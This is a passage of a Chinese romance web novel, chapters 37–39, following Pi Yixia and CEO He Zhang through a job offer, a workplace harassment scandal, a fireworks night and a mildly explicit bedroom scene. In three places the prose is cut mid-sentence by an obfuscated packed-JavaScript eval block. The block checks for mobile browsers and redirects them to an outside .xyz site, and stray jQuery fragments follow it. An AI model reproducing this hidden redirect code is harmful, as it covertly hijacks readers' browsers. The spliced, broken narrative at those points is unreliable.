贺章一个眼风撩过去:“别想歪。正经工作。负责CEO形象宣传,区别于林献的内政,这个职位倾向外宣。” “……哦。就是联络媒体和公众,策划宣传点,打造您的个人形象,是吧?”说起公事,她就不自觉尊称您。 贺章点头:“不错。” “这不是公关部的工作吗?为什么要加个特别助理呀?” 贺章敲了敲桌面:“公关部服务的不是个人,而是整个集团。” “好吧。可是您为什么要一个专门的形象宣传负责人啊……” “酒吧那次的事你知道,这样的事以后少不了,既然如此,守不如攻。”他说着“啧”了一声,皱眉,“怎么这么多问题?我自然有我的考虑。” “……” 怎么还给问急了?他不是来当猎头的吗,一点耐心都没有。 皮一夏忍不住噘了噘嘴。 “别在心里骂我,说出来。” 皮一夏默默垂眼:“我可没骂。” “那怎么说?做不做?” 皮一夏想了想:“可是我目前的工作内容都和影视剧综相关,很少涉猎个人形象宣传,不知道能不能做好,这是第一个顾虑。第二个就是……薪资待遇怎么说啊?” 跟他聊薪水,有种伸手要钱的感觉,她有点不好意思。但既然这是一次正式的邀约,该问的还是要问清楚。 贺章揶揄道:“凭你那见人说人话,见鬼说鬼话的功夫,你就算对外说华森的CEO是石头里蹦出来的,我想都会有人信,能力方面我完全不担心。待遇方面,让林献找你聊。” “……” 他说完就站起身,看样子是要走。 皮一夏紧跟着站起来,惊讶道:“这就要走了吗?” “嗯。去机场,明天有个金融行业峰会。” 说话功夫已经到了门口,皮一夏小步快走才跟得上他。 “所以你是挤时间过来的吗?是不是还没吃饭?飞机上能垫垫吧……” 贺章忽然停下脚,回身,漆黑的眼瞳里藏着笑意,盯着她说:“关心我?” 皮一夏默默转开脸:“……客套一下。” 贺章伸手掐了一把她的脸:“好好考虑,等我回来。” “哦。” 他说完,转身登上了门口的黑色商务车。 车门关上,车窗降下,贺章的视线望过来,四目相对,她摆了摆手,贺章嘴角勾起一缕笑意,对司机说:“走吧。” 商务车转过街角不见了,林献不知从哪突然冒了出来。 “皮小姐,我来跟你详聊CEO特别助理的事。” 皮一夏怔怔点头:“哦,好。那我请你去喝咖啡吧。” “也好。” 两人走了一会儿,找到一家临街的星巴克坐下来说话。 皮一夏上来就问:“林献,贺总怎么知道我在胡大呀?” 实在太好奇了。难不成在她身上装了定位? 林献微笑道:“原本贺总让我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704079|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去家里找您聊这件事,我到的时候,正好看见您坐进出租车,所以……希望皮小姐不要误会我是跟踪狂。” 原来是这样……好吧。 “可是,那为什么贺总又亲自过来了呢?” “他刚好在附近办事……当然,根本原因是,贺总不希望优秀人才离开集团。” 林献有点鄙视自己这种编瞎话行为。什么“刚好在附近办事”,分明是一听说皮小姐在和年轻男士吃饭,坐不住了,要亲眼来看看吧。 “哦,你要跟我说什么?” “关于工作内容,贺总应该跟您说过了,以您的能力,一定能够胜任。交接完目前的工作,就可以入职。跟在贺总身边工作呢,应该会比您现在工作强度稍大,做事需要严谨认真高效。要提醒的就这两点,福利待遇的构成和您现在一致,薪水可以给到您当前的两倍,年终十六薪……” 两倍、十六薪,这两个关键词惊得皮一夏瞬间瞪圆了眼睛。她现在也不过才十四薪……你们集团直属员工吃的都这么饱吗?还是只有跟在贺总身边的人,才有这个待遇啊…… 接下来,林献在说什么,皮一夏已经听不见了。 脑子里只有两个词在翻滚:两倍、十六薪。 “……您还有别的问题吗?” 皮一夏懵懵地回:“没有了……” “既然这样,我就先不打扰了,您考虑完给我一个答复。” “好的。” 林献起身要走,皮一夏忽然叫住了他。 “那个……”她有点不好意思,“听说贺总出差了,你知道什么时候回来吗?” 林献说:“按照日程,明天下午的飞机,晚上八点三十八分落地首都机场。” “哦……” 倒也不必告知的这么清楚。 “没别的问题,我先走了,再见。” 林献略一颔首,转身离开了星巴克,一出门就掏出手机,给老板发微信。 「Ethan,任务已完成,我赶下一趟航班,与您会和。」 少顷,又补了一条。 开往首都机场的黑色商务车里,贺章坐在后排,看着林献刚发来的微信: 「皮小姐向我打听您的归期了。」 贺章唇角不由自主上扬,沉默片刻,点进皮一夏的微信聊天界面,发了一行字过去。 「今晚的两小时,延后补回。」 很快收到对面回复:「您不补也行的。」 贺章:「你想得美。」 周五那天,皮一夏结束休假回到办公室。 忙忙叨叨一上午,处理这两天积压的工作。午饭之后,她一个人坐在中庭的阶梯休息区,忽然,张宝静兴冲冲跑过来,一脸激动的表情。 “皮皮姐,你吃过赵总的瓜了吗?!” 皮一夏好笑地瞥她:“吃过了。” 中午吃饭那会儿,突然有女员工在某红色社交软件上发长文,实名举报华森文娱首席运营官赵衡性骚扰,并指使人事部门恶意裁员。 消息传播发酵很快,短短一个小时,已经登上各大平台的热搜榜单,网友纷纷声援,希望当事女生不要被公关,骂赵衡的言论更是层出不穷。 目前官方还没发声,当事女生被裁了,赵衡正在出差,这事后面还不知道是什么走向呢。 “你吃瓜归吃瓜,不要点评这件事知道吗?”皮一夏叮嘱张宝静,“万一被赵总听进耳朵里,最后事情反转了,你少不得吃瓜落。” “知道知道,我闭紧嘴巴。但我觉得这事多半是真的,你看赵总跟Daisy,不是不清不楚的……” 正说着,Daisy端着一杯咖啡,走到了休息区。 张宝静立刻打住话头:“我回去干活了皮皮姐。”说完就走了。 Daisy步步生香走到皮一夏身侧,坐在台阶上,两人中间隔着一个蒲团。 皮一夏起身就要走,Daisy却“欸”了一声:“皮皮,怎么我一来你就走啊?” “你的香水太刺鼻,我需要出去清醒一下。”皮一夏面无表情。 Daisy一脸春风得意:“听说你已经向Vivian递了辞职申请。原以为我们能成为上下级,继续共事呢。很遗憾,只能说‘既生瑜何生亮’……” “我不是周瑜,你也不要侮辱诸葛亮了……Daisy你真的,让人一言难尽。”皮一夏嫌弃道。 Daisy脸色僵了一下,很快又笑起来:“输给我,你也就剩下这点口舌之快了。随你说吧,我受得了。说实话,我还挺喜欢你的。祝你找到好工作,大展宏图。” 皮一夏脚步一顿,回身,意味深长道:“话别说太早,没准,我们还能继续做同事哦。” Daisy神色愣住,皮一夏“哼”了一声,转身,脚步轻快地离开了休息区。 下班后,皮一夏直接去了丰和壹号。 晚上十点,贺章回到家,一进门,皮一夏正在厨房做饭,听见动静转头对他笑:“你等一下哦,好吃的马上来!” 贺章放好行李箱,大步走到她身边,沉声:“你最好是有能说服我的理由。” “嘿嘿……”皮一夏讪笑两声,放下勺子,“先吃饭好不好?我做了姜汁调蛋,你尝尝味道怎么样?” 37. 前菜 贺章沉着脸盯了她一会儿:“卖乖没用。” 说完倒也没再继续追究,绕去岛台外侧的椅子上坐好。 皮一夏把姜汁调蛋盛到碗里,端过去,给他递勺子:“快尝尝,是不是你记忆里的味道。” 贺章接过来,舀了一勺送进嘴里,挑眉:“不错。跟你妈妈学的?” “算是吧。” “她身体还好吗?” 皮一夏怔了怔,喃喃:“她不在了。” 贺章震惊抬眼:“你说……不在了,是什么意思?” “就是去世了,生病走的。”皮一夏也有点惊讶,“你怎么了?” 贺章凝神片刻,将勺子放回碗里:“什么病?” “癌。” 简简单单一个字,全世界的人都知道意味着什么。 贺章沉默一阵,说了句:“过来。” 皮一夏不解其意,但还是从岛台对面绕过来,走到他身边。 贺章伸手将她拉过去,揽抱在怀里,掌心在她头顶摸了摸,皮一夏瞬间眼眶发热。 “哎呀你别招我……我都没事了。”她勉强笑着,推开他,“你先说,姜汁调蛋好吃吗?” “很好吃。”他轻声说。 “我就知道。”皮一夏得意扬眉,“这可是我的招牌拿手菜,一般人我还不给他做呢。” “那我很幸运。” “当然!”皮一夏坐到旁边的椅子上,“你接着吃,我来说说,为什么要拒绝你的职位邀请。” 今天下班前,她给林献发微信,问了个问题:「贺总有被对手打败过吗?」 林献回复:「当然。」 她又问:「那是什么样子呢?」 林献说:「和往常一样,没什么情绪波动。」 她心想,贺章果然不是常人。很快,林献又发来一条。 「因为在他看来,那不是失败,只是还没有赢。」 然后,她知道了贺章战胜那位格斗教练的故事,原来并不是她以为的1次就打赢了,而是输了98次才取胜。 反观她自己,不过才一次竞聘失败,竟然就打算转战别处了。 她有冠冕堂皇的理由,不屑与手段卑劣的同事和德不配位的领导为伍。可这样的人,在哪个公司都可能会遇上,她可以重择职业道路,但不能仅仅因为这个原因。 何况,坏人还在得意洋洋地庆祝胜利,她真的甘心吗? 想通这一点,她走进Vivian的办公室,要回了那封辞职申请。 Vivian欣慰地笑了,对她说,皮皮,在我心里,你没有失败,期待看到你穿越风浪后更强大的模样。 “所以……Ethan,我还不能走,至少不能这样走。即便Daisy上任后,我的日子可能会不好过,或者我最终还是被迫离开华森文娱,但在那之前,我想再熬一熬,毕竟这是我奋斗过五年的地方,它见证了我从一个青涩的学生妹,转变为成熟职场人的过程。我不能因为被人偷了一次家,就潇洒地说,这家我不要了,你们想要的全拿走吧,我不甘心……你能理解吗?” 贺章听完这番话,沉默了许久,很淡地牵了牵唇,食指抵在她额间推了下:“傻里傻气!” “你才傻!”皮一夏心头一松,抿唇笑起来,“我拒绝你的邀请,其实还有一个原因。我承认,林献开出的条件很诱人,能让我更快还清房贷,好像没有理由拒绝。但是做你的个人形象宣传,毕竟不是我擅长的赛道,我相信,只要你想,就能找到比我更合适、也更优秀的人才。所以Ethan……你真的需要一个特别助理吗?” 贺章神色凝滞一瞬,盯着她狡黠的双眼,栗色的瞳孔中分明有看穿一切的得意。 他喉间轻轻滚动,心脏像被什么东西烫了一下,隐隐的焦躁、不安、气恼……还有莫名其妙的骄傲。头脑变得前所未有的复杂,哪怕处理最棘手的工作时,也没有如此刻一般感到毫无章法。 究其原因,还是眼前这丫头仍不肯占他一点便宜,涉及恩惠和利益的东西,一定要和他分得清清楚楚。 简直可恨至极。 贺章忽然将她一把扯过来,低头就亲了上去。 “……唔?干嘛?” 不是在聊正事吗?皮一夏瞪眼挣扎了几下,没用,被他亲了好一会儿才放开。 贺章心里得到满足,头脑也清爽了不少,开始正经吃东西。皮一夏红着脸,去盛了碗姜汁调蛋,坐在他身旁一起吃。 想到贺章给她的工作机会,心间涌起一股甜蜜,就像这碗蛋羹里的红糖味一样。 然而,他也可能没有其他含义,只是对床伴随手施了点小恩惠,想到这个可能,又忍不住鼻腔酸楚,像蛋羹里的姜汁辛辣冲鼻。 但无论如何,人还是要知道感恩。 “你先垫一垫,一会儿我再炒两个菜。” 皮一夏刚说完,贺章手机铃声就响了,他接起来应了两句话,挂掉之后说:“外卖到了,你去门口取。” 皮一夏愣了:“什么时候点的外卖?我做饭也可以的……” “刚车上点的。”贺章揉了揉她头顶,“我先去洗澡。” “哦。” 贺章点了四菜一汤,正好都是她爱吃的,皮一夏把菜摆出来,等了十几分钟,贺章就洗完出来了。 两人安安静静吃完了饭,皮一夏看时间不早,就要走了。贺章拿上钥匙去送她,走到庭院中间时,他忽然停下脚。 皮一夏疑惑道:“是有工作要做吗?我自己打车也可以,你快去忙吧……” 话音刚落,贺章一把拉起她的手,转身就往花园的方向走。 “欸……你干嘛?”皮一夏脚步匆匆勉强跟上。 “天晚了,就在这住。”贺章说。 “不晚呀。这不才刚过十一点嘛!” “我说晚就晚。” “……可是,我老留宿你家算什么样子啊,又没交房租。” “你回家还有事?”贺章问。 皮一夏沉默不语。 她也想和他待在一起,但以他们的关系,这样赖在他家,会不会有点不知廉耻?而且,她真的会忍不住贪心,渴望得到更多、更闪亮的东西。 贺章见她不语,果断道:“留在这陪Oliver。” 直到被他牵着上了二楼,皮一夏才回了一句:“好吧。” 贪恋和他在一起的心,最终还是压下了她的羞耻心,感谢Oliver,让她的行为不会显得太不矜持。可是……贺章为什么一定要她留宿呢?会不会,他也有点不想和她分开? 偶尔,她会忍不住想想,贺章是不是也有点喜欢她,毕竟他看上去很喜欢跟她有肢体接触。 若在以前,她毫不怀疑自己的魅力,也从不喜欢故作矜持,现在不行了,她很怕一不小心搞砸当前的局面,只好小心翼翼地和他保持暧昧的床伴关系,直到他厌倦了,或者,她下头了。 可是真会有她下头的那一天吗?皮一夏洗澡的时候,一直在想这个问题,但没想出答案。 从浴室出来,她坐在沙发上逗了会儿Oliver,快十二点时,朝门口看了眼,贺章没有来。 他刚刚,把她送回来就走了。看上去,今晚是不会来了。皮一夏有点失落,挠了挠Oliver的下巴:“我去睡觉了。” 她起身上床,钻进被子里,关掉了卧室的灯。 黑暗没有带来平静,反而把她的心撩得更加浮躁,她不停回想,被贺章抱在怀里的感受,想得脸红耳热,羞臊难当。 正在这时,耳朵里传来敲门声。 她心里一动,迅速翻身坐起,打开了床头灯,下床趿上拖鞋,小跑过去开门。门拉开的一瞬间,她的心脏跳得很快。 贺章站在门外,依然是深蓝色睡衣睡裤,依然是淡漠的面容、深邃的眉眼,昏黄的灯光照在他脸上,给他冷硬的气质添了一层柔和,漆黑的瞳孔中有浓得化不开的炙热。 好像夜色下烧得通红的篝火。 一下子就把她全身的躁动点着了,心脏跳得更加失控,她下意识踮脚,手臂勾住了他的脖颈,与此同时,也被他紧紧抱在怀里,腰后的手臂很有力,和他的吻一样有力。 她踉跄退到床边,跌坐回床上,被他压在身下。分不清谁的呼吸更灼热,谁的心跳更疯狂,也记不起衣服是怎么被扯掉的,她的意识陷入一片混沌,整个人都在轻轻颤抖。 他的手在四处游走,唇含住了某处,她的脚趾蓦地蜷缩,疯狂的失控感让她陷入前所未有的慌乱。 “Ethan……”她无措地叫了一声,嗓音腻得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她好像,从来没有像这样喜欢过一个人,以前谈过那么多恋爱,自以为十分投入,事实上,她只把恋爱当成调解情绪的手段,对待男生像对待玩具一样,肤浅地喜欢着,没有投入太多真情,所以即便分手也不会受伤太久,遇到回头纠缠的人,还会变得尖锐。究其原因,大概是她也并不相信,世上会有非谁不可的感情,真爱就像不可捉摸的幽灵,然而现在,她觉得自己撞上了幽灵。这个看似作风冷硬、说一不二的男人,其实对她绅士极了,即便再愤怒,也不会朝她泄愤,无论什么事情到他这里,都有明确的解决办法,和他在一起时,感觉很安心,即便今天平平淡淡,也会继续期待明天。 她应该一辈子都不会下头了。 “你可以答应我一个请求吗?” 贺章拇指摩挲着她的脸颊:“可以。但你需要答应我一个条件。” “你好奇怪……” “哪里奇怪?” “你不问我什么请求,就说可以,万一我的请求很荒唐呢?” “所以我说,让你答应我一个条件。” 意思就是,万一她的请求很荒唐,他的条件就会更荒唐? “哼!不愧是生意人,资本家!” 他嘴角噙笑:“还要交易吗?” 皮一夏盯着他,暗暗盘算自己会不会吃亏。 他身价过千亿,什么都不缺,她手里,没什么他看得上的东西,顶多使唤她干点活,应该不至于太离谱吧? “怎么说?”他捏了捏她肩头,以示催促。 皮一夏心一横:“行!你说你的条件吧。” 贺章挑了挑眉:“不着急,你先说你的请求。” “嗯……”她目光垂落,指腹在他胸膛上来回滑动,“你以后,私下里可以叫我夏夏吗?” 贺章有点惊讶。似乎没想到她的请求会是这样。 皮一夏忙道:“你看,我的同事他们都喊我皮皮,这样显得比较亲近嘛!但你总是,皮一夏,皮一夏,连名带姓叫我,怪吓人的,总感觉自己犯了错,老板要骂我……” 她解释了一大通,贺章一下抓到了重点。 “那为什么不让我叫皮皮?” 因为你和他们不一样。 因为妈妈去世以后,已经很久没有亲近的人喊过“夏夏”这个昵称了。 她垂下眼,掩去神色里的黯然:“我觉得‘夏夏’更好听嘛!还是,你想跟大家一样,也叫我‘皮皮’吗? “不了。夏夏。”贺章果断说。 他的语气和眼神一样很温柔,很难让人不沉溺其中。 “夏夏……总感觉,以前就认识。”他又似不经意地说了句。 皮一夏抿唇笑了笑:“那大概是这个名字,太大众化了吧……好了,我的请求你答应了,你的条件是什么?” 38. 烟花 “我们的契约,需要改一改。”贺章说。 皮一夏愣了:“怎么改?”难道小试过了,没那么喜欢,不想要了吗? “一周见四次,改成一周留宿四次。” “啊……”她突然分不清,心里是错愕多一些,还是欢喜多一些,“这样不好吧……” 她讨厌自己假惺惺的矜持,于是垂下眼,遮住了这点小心思,免得被他看穿。 贺章以为她要拒绝,眉间顿时浮起不悦之色,两指抬起她下巴,强迫她与他对视。 “这不是商量。是我答应你的请求时,你已经承诺的条件。” “……哦。” 霸道总裁不容忤逆,刚好免去她惺惺作态的欲迎还拒。 贺章眼底染上笑意,凑过去亲了她一下,低声说了句:“那就这么定了,夏夏。” 她忽然疯狂心动,搂住他的腰,头埋到他怀里应:“好的,Ethan。” 周日中午,皮一夏做好饭,去小区门口等皮一辰。他来给她送电暖气,刚刚微信上说快到了。 在门口等了几分钟,一辆黑色别克SUV开了过来,打眼一瞧,副驾上的人正是小辰。 等车停稳,皮一辰从车里出来,脸色有点奇怪:“姐,你怎么出来了?” “来接你呀。电暖气那么大,你非要坐地铁,怎么最后又改主意,打车了?” 她边说,边转到后备箱去拿东西,皮一辰紧走两步跟上:“姐……” 话刚开了个头,皮一夏怔住了。 后备箱旁边站着一个人,成涛。 多年不见,他的模样变化不小。穿着深灰色商务西装、棕色皮鞋,头发油油的朝后背着,浓眉、厚唇,眼睛细长,虽然长得普通,收拾起来倒还挺人模狗样。 可是他怎么会来?皮一夏疑惑地看向弟弟。 皮一辰还没来得及开口,成涛先笑着说:“皮皮,多年不见,你变得更漂亮了。” 皮一夏冷淡地说了句:“谢谢。” “欸,你们姐弟先说话,我把东西拿下来。” 皮一辰趁机拉着皮一夏往旁边躲了几步:“姐,我去地铁的路上遇见他,听说我要来给你送电暖气,他非要送我,说小时候不懂事,欺负过你,想帮着做点什么弥补,要是不答应,就是不给他面子……我被缠烦了,就说让他送到门口,当两不相欠了。原本想着不进小区,不跟你打照面就完了,没想到你会出来接我。” “没事,他来就来了。” 皮一夏拍了拍小辰,走过去对成涛说:“今天麻烦你了。就不多耽搁,我们自己拿进去就行。” 皮一辰从他手里接过电暖气,靠在腿边。 成涛搓了搓手,满脸堆笑说:“你看这也到饭点了,要不,你们把暖气放上去,咱们一起出去吃个饭?也这么多年没见了…… “不了。”皮一夏微微蹙眉,打断他,“这么多年没见,就是有没见的道理,以后想必也不会再见了,大家都忙,就不浪费时间了。” 成涛有点尴尬,但还是点头笑着说:“也成,反正都在北京,以后要是有啥用得着哥的地方,随时说话。” 皮一夏颔首,和小辰一起,抬着电暖气往小区走去。 原以为不会再见的人,谁知隔天就又见到了。 周一是Vivian在华森文娱工作的最后一天,内容中心的同事们攒了个局,去给Vivian送行。三四十个人,去了公司附近的一家居酒屋。 饭吃到尾声时,皮一夏去卫生间,冷不防听人喊:“皮皮!” 一转头,就看见了成涛。他坐在餐厅靠里边的双人桌,喊了一声后,就起身朝她走过来搭话。 “我还说这是哪个公司团建呢,占了大半个餐厅,原来是你们公司啊?” 她敷衍地“嗯”了一声,成涛提出要加微信,被她以手机落在桌子上为由,婉拒了。 从卫生间出来,同事们聊天的兴致已经淡了,饭局也到了散的时候,三三两两相携去上厕所,座位空了一大半,Daisy从运营中心那桌挪过来,在她身旁的椅子里坐了下来。 “听说你又不辞职了?”Daisy问。 “嗯。”她自顾自喝水,“你看我之前就说吧,我们还能继续做同事哦。” Daisy脸色一僵,转瞬又笑起来:“那就祝你好运吧。” “你也自求多福。”皮一夏眼含讥诮。 赵衡涉嫌性骚扰女员工的事,经过一个周末的发酵,热度又升了一个层级。 据说公司联系那位女员工解决这件事,两边没谈拢,女员工第二次发帖,指责华森文娱不仅不道歉,不处理涉事高管,还怪她损害公司名誉,威逼利诱她删帖,实在卑劣至极。 帖子一出,很快引发了第二轮舆情。 今天一早,集团官方发声明,称涉事高管已被停职调查,会给当事人一个交代。 赵衡一天都没来办公室,停职调查这件事应该不假。这一波还没完,下班前又有小道消息说,赵衡还骚扰过好几个女生,那些女生联合起来,向集团写了投诉信,事情暂不知真假,但多半是真的。 如果查实赵衡确实性骚扰,集团一定会对他做出处理,即便不是开除,至少也是降职吧,到时候Daisy女士没了后台,可不就要自求多福了吗。 两人斗了几句嘴,同事们陆续回来了,Daisy只好离开。 晚上十点,酒宴散场,大家一起出门,站在路边跟Vivian告别。 Vivian的老公开车来接她,她挺着大肚子,坚持要先送同事们离开。 等人都走了,就剩下皮一夏,Vivian携起她的手,神色有点感慨,又有几分愧疚,最后只是伸手抱住她,拍了拍她的肩说:“加油。” 皮一夏点了点头,送Vivian上车。车门关上前,她眼圈一热,说了句:“Vivian,很开心和你做同事,希望你在新西兰一切顺利!” Vivian眼中有晶莹闪烁,笑着点了点头:“再见。” 乌泱泱一群人都走干净了,皮一夏独自站在路边,感觉心头空荡荡的,盯着街道默默出神片刻,正要打车时,成涛又从身后出现了。 “皮皮,回家吗?我送你吧。” 皮一夏忍不住皱眉,压着脾气道:“不用了。”这人真是阴魂不散。 “没事,反正我也不急着回去……” 正说着,忽听见汽车喇叭鸣笛,皮一夏转头,就看见黑色吉普车转过街角,打着双闪,在餐厅对面的马路边停了下来。 她忍不住嘴角上扬,眼睛盯着吉普车,对成涛说:“有人来接我了。再见。”说完就朝马路对面跑了过去。 皮一夏开门坐进副驾,边绑安全带,边随口念叨:“Ethan,你总这样来接我,我会养成习惯,期待你不经意地出现,万一哪次期待落空,我可是会不识好歹怪你的。” “那就不让你落空。”贺章淡淡道。 皮一夏怔了几秒,笑了笑:“还是算了吧,我开玩笑的,你那么忙。” 贺章看了看她:“刚才那人,又一个加微信的?” “嗯。不过我没给。” “算你识相。” 安静了一会儿,贺章又说:“Vivian离开,你很难过?” “有一点。”她低头沉默片刻,问他,“你有没有过因为熟悉的人离开,而感到难过的时候呢? 贺章想了想说有:“我外公去世时。” “外公?” 皮一夏从没听他提到过家里人,此时难免好奇。 贺章“嗯”了一声:“外公长居乡下老家,上初中那会儿,我去跟他住过几个月时间。 “哦。你外公是什么样的人呀?” “一个慈眉善目,喜欢写毛笔大字的老人。外婆去的早,之后他一直住在乡下,离群索居,也不怎么需要家人陪伴。” 皮一夏不由笑了:“那你跟你外公,还挺像的。” “哪里像?”贺章诧异。 “你虽然没有慈眉善目,我也没见过你写毛笔大字……不过你会写吗?” 话题急转弯,贺章抓过她的手捏了下,之后没再放开,淡道:“能写。” “那就更像了!你虽然没有慈眉善目,但会写毛笔字,也喜欢离群索居,也不见你跟家人有来往……你们骨子里都是清冷的人吧。” “清冷?”贺章眉梢一跳,瞳色晦暗,意味深长盯她。 皮一夏脸慢慢红了:“话说回外公!他是怎么走的呢?” “没病没灾自然老。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730577|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那真是挺幸运的。” “嗯。外公走那年,我二十岁,在美国读书,赶回来见了最后一面。收拾他的遗物时,有点……说难过不准确,算怅然吧。一个人过完他鲜活却不足为外人道的一生,什么都没带,孤身离开了。” 贺章说完这话,车里一时无声,气氛似乎更低沉了。 他捏了捏她手心:“想看烟花吗?” 皮一夏眼睛亮起:“哪里能看?” “回家。” 二十分钟后,吉普车停进车库,皮一夏下车时说:“你这个车库,实在有点不像样。” “怎么说?” “富豪家的车库,难道不该是豪车成排,每天根据心情选择开哪款出门嘛……你这里只有三辆,丰田埃尔法最贵吧,也不到百万是不是?” 贺章哼笑一声:“我买那么多豪车做什么?放在这吃灰?” “撑场面呀!不然谁知道你出身豪门呢!”皮一夏揶揄。 “不需要。” 两人牵着手走出车库,小团子Oliver扑过来,皮一夏伸手抱住他撸毛,贺章走进别墅里,过了会儿,搬出两箱子烟花。 “来吧。今晚都放了。” 皮一夏将Oliver放到地上,走过去,扒拉着箱子里的烟花:“这么多呀!” “嗯。” 贺章掏出打火机,随便捡起一支加特林点燃,“嘭”的一声,火花一飞冲天,绚烂耀眼。 皮一夏笑着鼓掌:“好看好看!我也来一个!” 加特林太大只,她不太敢玩,捡了两只个头小巧的仙女棒,伸到火苗上,璀璨的火星噼里啪啦炸开。 “好漂亮……”皮一夏跑到贺章身边,缠着他问,“现在是不是禁止燃放烟花爆竹啊,我们会不会被抓走?” 她脸上的笑意比烟花还要璀璨,贺章一时看迷了眼,愣了愣才说:“不会让你被抓走。” 两人各放了几个之后,贺章把剩下的□□全取出来,在庭院中间插了一排,依次点燃,走回她身边。 焰火在高空中不停炸响,整个世界开满五彩缤纷的花,一朵压一朵,纷纷扬扬洒满庭院,人站在下面,仰头看着这样盛大辉煌的场面,震撼到极致,心反倒变得极静。 贺章从身后将她拥在怀里,下巴擦着她额角:“在想什么?” “想……我真幸运。” “嗯?” 皮一夏抿唇不语。 “什么意思?”贺章催促。 “哎呀,不告诉你!” 最后一朵烟花落下时,他忽然问:“有没有想过以后的生活?” “以后……”皮一夏垂眸,“应该还是每天上班下班,努力还房贷,幸运的话,可能十几二十年就还完了,到时候小辰也结了婚,我就找份清闲的工作,不用费脑子的纯体力活,再养一只狗狗,每天带它去散步。” 她描绘的未来里,没有他。贺章箍在她腰间的手臂不由收紧了。 “你呢?”她问。 贺章静静道:“减少工作量,空出更多时间生活。和爱人一起打理花园、一起做饭、周末出门郊游,也许会生个孩子,这一点看她,如果有的话,就一起陪孩子看书、写作业,节假日出门旅行,再看着他成家立业……” 皮一夏忍不住落下泪来。 她已经开始羡慕他的爱人了。 她忍不住抽泣了一声,贺章身体一僵,低声问:“为什么哭?” “有点……感动。你未来的生活一定很幸福,比现在还要幸福。” 贺章忽然开始恨她。 她到底知不知道,他在幻想什么?竟然能说出如此轻描淡写的一句话。只是感动,没有向往吗? 贺章猛地将她转过来,四目相对,漆黑的眼睛里仿佛还残留着焰火的光热:“皮一夏,想和我一起,过这样的生活吗?” 问出这句话时,他心里连一分把握也没有。 在没有把握时贸然行动,这不符合他一向的做事风格,但他没有办法了。 等待变得越来越难以忍受,一想到她随时可能认识其他男人,组成家庭,彻底离开他,他恨得只想把她囚禁在这座庭院里一辈子。 所以,他又问了一遍:“想和我一起,过这样的生活吗?” 39. 房间 皮一夏完全呆住了。 是她想的那个意思吗?他也喜欢上她了吗?还是说……他早晚要成家,与其是别人,不如找个熟悉的女人? 毕竟他说过不相信爱情。 那么,他现在把她当成什么呢?像Oliver一样,豢养在身边的宠物吗? 如果是这样,她应该感到被冒犯的,可她不能骗自己,心底里冒出来的东西,竟然是欢喜……即便没有爱情,她也想一直待在他身边。 在和他建立床伴关系时,她没有预设过未来,之后的一步步沦陷里,她偶尔渴望、不,她承认,每时每刻都期待得到同等的心意回报,现在,他谈到了以后的生活,他的设想里有她,这和她期待的不符,但却超出了太多。 这感觉就像,她幻想能中一张十万块的彩票,他却开出了一千万的支票,问她想不想要……可是他这样的身家背景,她配吗?可以失去理智吗?做好承担一切后果的准备了吗? “我……” 皮一夏迟疑着开口,却不知道该说什么,或者该问什么。 贺章生平第一次感到巨大的不安,怕他突然表明心意吓跑她,答案不是自己想听的,于是一把将她搂过去,紧紧抱住了:“不用急着回答。想好了再说。” 她埋在他怀里,闻着他身上的味道,过了一会儿,慌乱无措的情绪渐渐平复,缓缓伸手回抱他。 “我们先保持这样的关系好不好?” 贺章没说话,她有点慌了,仰头恳切道:“我一定尽快给你答复,好不好?” 她确定自己的心意,只是还没确定自己的勇气,今天实在太突然了,她不想草率给出答案,所以,等一等她,不要收回这个问题,好不好? 贺章低眼,拇指摩挲着她脸颊,虽不知她为什么有点不安,但还是轻轻“嗯”了一声。 “夏夏,我们都不要着急。” 她缓缓笑起来,眉目灿然,令他心旌摇动,于是忍不住倾身吻住了她。轻柔地、缱绻地与她纠缠。 “Ethan,我今晚很开心。” “是吗?” “谢谢你的烟花,还有,所有的一切。” “用嘴谢吗?” “……那你想要什么?”她羞涩低眉。 贺章将她横抱起来,往别墅里走去。 “今晚,睡我的房间。” 睡在贺章房间的后果就是,第二天早上,她起晚了。 原因说起来有点复杂。 首先是,他们昨晚洗漱完躺下时已经快一点了,睡意刚刚袭来,皮一夏忽然发现,例假来了……当时真是震惊加羞愤,她跳下地就跑,被贺章一把拉住了。 幸好姨妈刚到,没有弄脏他的床,但也足够人头疼的了——她没有带卫生棉条,他家自然也不会有这玩意,于是只好半夜驱车出门,去帮她买。 这一通折腾完,再躺下时两点了。 她很快就睡熟了。因为贺章的房间,实在太适合睡觉了。 不同于花园木屋的天然风味,这间卧室里隐藏的黑科技太多,比如隔音超绝,人就像躺在真空里,当呼吸达到某一频率时,又会自动播放轻柔的白噪音来助眠。 一夜酣眠,睡得跟昏迷了似的,醒来时,她睁着眼呆了好一阵儿,才想起来这是哪。 慢吞吞从床上坐起,窗帘自动向两端缓缓开启。 她惊诧地张着嘴,等窗帘完全打开,透过大大的落地窗,看到了外面的庭院,和庭院外的园林。 